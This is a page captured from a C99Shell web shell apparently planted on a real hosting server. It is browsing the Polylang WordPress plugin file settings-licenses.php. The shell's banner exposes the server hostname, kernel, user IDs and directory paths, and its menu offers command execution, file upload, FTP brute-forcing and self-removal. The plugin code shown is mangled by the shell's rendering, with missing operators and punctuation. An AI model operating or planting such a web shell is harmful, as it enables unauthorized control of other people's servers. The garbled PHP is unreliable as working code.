!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/polylang/settings/   drwxr-xr-x
Free 180.53 GB of 490.84 GB (36.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     settings-licenses.php (6.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Settings class for licenses
 *
 * @since 1.9
 */
class PLL_Settings_Licenses extends PLL_Settings_Module {
    protected 
$items;

    
/**
     * Constructor
     *
     * @since 1.9
     *
     * @param object $polylang polylang object
     */
    
public function __construct( &$polylang ) {
        
parent::__construct$polylang, array(
            
'module'        => 'licenses',
            
'title'         => __'License keys''polylang' ),
            
'description'   => __'Manage licenses for Polylang Pro or addons.''polylang' ),
        ) );

        
$this->buttons['cancel'] = sprintf'<button type="button" class="button button-secondary cancel">%s</button>'__'Close' ) );

        
$this->items apply_filters'pll_settings_licenses', array() );

        
add_action'wp_ajax_pll_deactivate_license', array( $this'deactivate_license' ) );
    }

    
/**
     * Tells if the module is active
     *
     * @since 1.9
     *
     * @return bool
     */
    
public function is_active() {
        return ! empty( 
$this->items );
    }

    
/**
     * Displays the settings form
     *
     * @since 1.9
     */
    
protected function form() {
        if ( ! empty( 
$this->items ) ) { ?>
            <table id="pll-licenses-table" class="form-table"><?php
            
foreach ( $this->items as $item ) {
                echo 
$this->get_row$item );
            } 
?>
            </table><?php
        
}
    }

    
/**
     * Get the html for a row (one per license key) for display
     *
     * @since 1.9
     *
     * @param array $item licence id, name and key
     * @return string
     */
    
protected function get_row$item ) {
        if ( ! empty( 
$item->license_data ) ) {
            
$license $item->license_data;
        }

        
$class 'license-null';

        
$out sprintf(
            
'<td><label for="pll-licenses[%1$s]">%2$s</label></td>' .
            
'<td><input name="licenses[%1$s]" id="pll-licenses[%1$s]" type="text" value="%3$s" class="regular-text code" />',
            
esc_attr$item->id ), esc_attr$item->name ), esc_html$item->license_key )
        );

        if ( ! empty( 
$license ) && is_object$license ) ) {
            
$now current_time'timestamp' );
            
$expiration strtotime$license->expires$now );

            
// Special case: the license expired after the last check
            
if ( $license->success && $expiration $now ) {
                
$license->success false;
                
$license->error 'expired';
            }

            if ( 
false === $license->success ) {
                
$class 'notice-error notice-alt';

                switch ( 
$license->error ) {
                    case 
'expired' :
                        
$message sprintf(
                            
/* translators: %1$s is a date, %2$s and %3$s are html tags */
                            
__'Your license key expired on %1$s. Please %2$srenew your license key%3$s.''polylang' ),
                            
date_i18nget_option'date_format' ), strtotime$license->expirescurrent_time'timestamp' ) ) ),
                            
sprintf'<a href="%s" target="_blank">''https://polylang.pro/checkout/?edd_license_key=' $item->license_key ),
                            
'</a>'
                        
);
                    break;

                    case 
'missing' :
                        
$message sprintf(
                            
/* translators: %s are html tags */
                            
__'Invalid license. Please %svisit your account page%s and verify it.''polylang' ),
                            
sprintf'<a href="%s" target="_blank">''https://polylang.pro/account' ),
                            
'</a>'
                        
);
                    break;

                    case 
'invalid' :
                    case 
'site_inactive' :
                        
$message sprintf(
                            
/* translators: %1$s is a product name, %2$s and %3$s are html tags */
                            
__'Your %1$s license key is not active for this URL. Please %2$svisit your account page%3$s to manage your license key URLs.''polylang' ),
                            
$item->name,
                            
sprintf'<a href="%s" target="_blank">''https://polylang.pro/account' ),
                            
'</a>'
                        
);
                    break;

                    case 
'item_name_mismatch' :
                        
/* translators: %s is a product name */
                        
$message sprintf__'This is not a %s license key.''polylang' ), $item->name );
                        break;

                    case 
'no_activations_left':
                        
/* translators: %s are html tags */
                        
$message sprintf(
                            
__'Your license key has reached its activation limit. %sView possible upgrades%s now.''polylang' ),
                            
sprintf'<a href="%s" target="_blank">''https://polylang.pro/account' ),
                            
'</a>'
                        
);
                    break;
                }
            } else {
                
$class 'license-valid';

                
$out .= sprintf'<button id="deactivate_%s" type="button" class="button button-secondary pll-deactivate-license">%s</button>'$item->id__'Deactivate''polylang' ) );

                if ( 
'lifetime' === $license->expires ) {
                    
$message __'The license key never expires.''polylang' );
                } elseif ( 
$expiration $now && $expiration $now < ( DAY_IN_SECONDS 30 ) ) {
                    
$class 'notice-warning notice-alt';
                    
$message sprintf(
                        
/* translators: %1$s is a date, %2$s and %3$s are html tags */
                        
__'Your license key expires soon! It expires on %1$s. %2$sRenew your license key%3$s.''polylang' ),
                        
date_i18nget_option'date_format' ), strtotime$license->expires$now ) ),
                        
sprintf'<a href="%s" target="_blank">''https://polylang.pro/checkout/?edd_license_key=' $item->license_key ),
                        
'</a>'
                    
);
                } else {
                    
$message sprintf(
                        
/* translators: %s is a date */
                        
__'Your license key expires on %s.''polylang' ),
                        
date_i18nget_option'date_format' ), strtotime$license->expires$now ) )
                    );
                }
            }
        }

        if ( ! empty( 
$message ) ) {
            
$out .= '<p>' $message '</p>';
        }

        return 
sprintf'<tr id="pll-license-%s" class="%s">%s</tr>'$item->id$class$out );
    }

    
/**
     * Ajax method to save the license keys and activate the licenses at the same time
     * Overrides parent's method
     *
     * @since 1.9
     */
    
public function save_options() {
        
check_ajax_referer'pll_options''_pll_nonce' );
        if ( ! 
current_user_can'manage_options' ) ) {
            
wp_die( -);
        }

        if ( 
$this->module === $_POST['module'] && ! empty( $_POST['licenses'] ) ) {
            
$x = new WP_Ajax_Response();
            foreach ( 
$this->items as $item ) {
                
$updated_item $item->activate_licensesanitize_text_field$_POST['licenses'][ $item->id ] ) );
                
$x->Add( array( 'what' => 'license-update''data' => $item->id'supplemental' => array( 'html' => $this->get_row$updated_item ) ) ) );
            }

            
// Updated message
            
add_settings_error'general''settings_updated'__'Settings saved.' ), 'updated' );
            
ob_start();
            
settings_errors();
            
$x->Add( array( 'what' => 'success''data' => ob_get_clean() ) );
            
$x->send();
        }
    }

    
/**
     * Ajax method to deactivate a license
     *
     * @since 1.9
     */
    
public function deactivate_license() {
        
check_ajax_referer'pll_options''_pll_nonce' );

        if ( ! 
current_user_can'manage_options' ) ) {
            
wp_die( -);
        }

        
$id sanitize_text_fieldsubstr$_POST['id'], 11 ) );
        
wp_send_json( array(
            
'id' => $id,
            
'html' => $this->get_row$this->items$id ]->deactivate_license() ),
        ) );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0066 ]--